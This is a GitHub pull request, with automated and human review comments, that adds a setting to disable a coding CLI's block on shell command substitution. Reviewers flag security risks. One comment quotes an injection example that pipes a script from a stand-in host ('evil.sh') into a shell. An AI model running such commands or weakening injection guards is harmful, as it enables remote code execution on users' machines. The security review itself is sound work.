feat(core): add allowCommandSubstitution toggle in settings - #27400
feat(core): add allowCommandSubstitution toggle in settings#27400manohar-munna wants to merge 1 commit into
Conversation
The current hardcoded block creates two problems: Token/turn waste. The model writes out a full command with command substitution, the CLI blocks it at execution time, and the entire turn is wasted with nothing to show for it. The model has no way to know in advance the command will be blocked. A configurable toggle keeps the safe default for everyone while letting users who understand the risk opt out.
Summary of ChangesHello, I'm Gemini Code Assist1! I'm currently reviewing this pull request and will post my feedback shortly. In the meantime, here's a summary to help you and other reviewers quickly get up to speed! This pull request adds a configurable toggle to the CLI and core settings to manage command substitution behavior. By allowing users to explicitly enable command substitution, the system avoids unnecessary token consumption caused by the model generating commands that would otherwise be silently blocked at execution time. The change preserves safe defaults while providing flexibility for advanced users. Highlights
Using Gemini Code AssistThe full guide for Gemini Code Assist can be found on our documentation page, here are some quick tips. Invoking Gemini You can request assistance from Gemini at any point by creating a comment using either
Customization To customize the Gemini Code Assist for GitHub experience, repository maintainers can create a configuration file and/or provide a custom code review style guide (such as PEP-8 for Python) by creating and adding files to a Limitations & Feedback Gemini Code Assist may make mistakes. Please leave feedback on any instances where its feedback is incorrect or counterproductive. You can react with 👍 and 👎 on @gemini-code-assist comments. If you're interested in giving your feedback about your experience with Gemini Code Assist for GitHub and other Google products, sign up here. Footnotes
|
🛑 Action Required: Evaluation ApprovalSteering changes have been detected in this PR. To prevent regressions, a maintainer must approve the evaluation run before this PR can be merged. Maintainers:
Once approved, the evaluation results will be posted here automatically. |
There was a problem hiding this comment.
Code Review
This pull request introduces the allowCommandSubstitution configuration setting to control shell command substitution. Feedback highlights a security concern where the setting should only be honored in trusted folders to prevent malicious overrides. Additionally, the setting should be nested within the security object in the schema for consistency, and the implementation in the shell tool should rely on interface contracts rather than runtime type checks for better type safety.
| disableAlwaysAllow: | ||
| settings.security?.disableAlwaysAllow || | ||
| settings.admin?.secureModeEnabled, | ||
| allowCommandSubstitution: settings.allowCommandSubstitution, |
There was a problem hiding this comment.
The allowCommandSubstitution setting is honored from the workspace configuration without verifying if the workspace is trusted. A malicious repository could enable this setting via a local configuration file (e.g., .gemini/settings.json), bypassing security checks in ShellTool and enabling command injection. This setting should be protected by a trustedFolder check, similar to approvalMode and extensionRegistryURI. Additionally, ensure allowCommandSubstitution is accessed from the security object in the settings schema to maintain consistency between the schema and TypeScript interfaces.
| allowCommandSubstitution: settings.allowCommandSubstitution, | |
| allowCommandSubstitution: trustedFolder ? settings.allowCommandSubstitution : false, |
References
- Workspace-level configurations should be treated as untrusted by default. Security-sensitive settings must be loaded from trusted user-level configuration and should not be overridable by workspace settings unless trust is explicitly granted.
- Ensure that JSON schemas for configuration match the corresponding TypeScript interfaces.
| allowCommandSubstitution: { | ||
| type: 'boolean', | ||
| label: 'Allow Command Substitution', | ||
| category: 'Security', | ||
| requiresRestart: true, | ||
| default: false, | ||
| description: | ||
| 'Allow command substitution (e.g., $()) in shell tool execution.', | ||
| showInDialog: true, | ||
| }, |
There was a problem hiding this comment.
The allowCommandSubstitution setting should be nested within the security object properties rather than being a top-level setting. This maintains consistency with the existing configuration structure where security-related toggles (like toolSandboxing and disableYoloMode) are grouped together. While the category: 'Security' property handles the UI grouping in the settings dialog, the JSON structure in settings.json should also reflect this hierarchy for better maintainability and user expectation.
| const allowCommandSubstitution = | ||
| typeof this.context.config.getAllowCommandSubstitution === 'function' | ||
| ? this.context.config.getAllowCommandSubstitution() | ||
| : false; |
There was a problem hiding this comment.
The use of typeof ... === 'function' to check for the existence of getAllowCommandSubstitution bypasses TypeScript's type safety and violates the principle of coding against the interface contract. Instead of a runtime check, the AgentLoopContext interface (or the type of this.context.config) should be updated to include this method. This ensures that any implementation of the context is forced to provide the necessary configuration, preventing silent failures if the method is renamed or missing in mocks. Other methods on the config object (like getShellToolInactivityTimeout on line 498) are called directly, so this should follow that pattern.
| const allowCommandSubstitution = | |
| typeof this.context.config.getAllowCommandSubstitution === 'function' | |
| ? this.context.config.getAllowCommandSubstitution() | |
| : false; | |
| const allowCommandSubstitution = this.context.config.getAllowCommandSubstitution(); |
References
- When consuming an object, if a property is optional in its type definition (interface), callers must handle the undefined case. Do not rely on implementation details; code against the interface contract.
| : false; | ||
|
|
||
| if ( | ||
| !allowCommandSubstitution && |
There was a problem hiding this comment.
Building on the bot's security-high note on config.ts (the untrusted-workspace / trustedFolder vector), there's a second, distinct exposure worth scoping for. This is the only call site of detectCommandSubstitution, so the flag removes the guard entirely rather than relaxing it narrowly — and even for a trusted user in a trusted folder, turning it on re-opens command injection through commands that were already allowlisted or "always allowed": an approved git prefix plus git log $(curl evil.sh | sh) would auto-execute. A single global boolean is blunt for that. Consider scoping the relaxation so it doesn't apply to auto-approved/allowlisted execution, in addition to the trustedFolder gate already suggested.
| requiresRestart: true, | ||
| default: false, | ||
| description: | ||
| 'Allow command substitution (e.g., $()) in shell tool execution.', |
There was a problem hiding this comment.
The description doesn't convey what enabling this actually does. It disables a command-injection protection — including for commands that were allowlisted or "always allowed" — which is exactly what the block's own llmContent describes as a security risk. Since this is the text users see in the settings dialog before flipping a security control, it should state the risk explicitly, e.g. "Allow command substitution ($(), backticks, <()) in shell commands. Warning: this disables a command-injection safeguard and lets substitution run inside otherwise-approved commands."
| label: 'Allow Command Substitution', | ||
| category: 'Security', | ||
| requiresRestart: true, | ||
| default: false, |
There was a problem hiding this comment.
With the default false, the issue's primary motivation — token/turn waste — is unchanged for everyone who doesn't flip this. The model still emits $() commands, still gets blocked at execution time, and still has no advance signal that the command will be rejected, so the turn is still wasted. The toggle only helps users who opt fully out.
The linked issue's #1 problem is "the model has no way to know in advance the command will be blocked," and it explicitly asks that YOLO mode default to true or surface a warning so the model can adapt. This PR delivers the literal configurable toggle but doesn't address the advance-signal problem (e.g. reflecting the block in the shell tool description so the model avoids generating substitution when it's disabled), and intentionally drops the YOLO behavior. Worth confirming with maintainers whether that scope is acceptable for closing #27393.
The current hardcoded block creates a problem: Token/turn waste. The model writes out a full command with command substitution, the CLI blocks it at execution time, and the entire turn is wasted with nothing to show for it. The model has no way to know in advance the command will be blocked.
A configurable toggle keeps the safe default for everyone while letting users who understand the risk opt out.
Summary
Add a configurable
allowCommandSubstitutiontoggle (default:false) to let users opt out of the hardcoded command substitution block. This eliminates wasted turns where the model generates a valid command with$()syntax that gets silently blocked at execution time, burning tokens with no output.Details
The existing block was unconditional — the model had no way to know a command would be rejected until after the turn was spent. The new setting surfaces in the settings dialog under the Security category and requires a restart. The safe default (
false) is preserved for all users; only those who explicitly opt in take on the risk.YOLO mode intentionally still respects this flag — auto-allowing command substitution in YOLO mode was considered but rejected for security reasons.
Related Issues
Closes #27393
How to Validate
allowCommandSubstitutionunset (orfalse) insettings.json$()substitution — confirm it is blocked with an error returned to the modelallowCommandSubstitution: trueinsettings.jsonand restartPre-Merge Checklist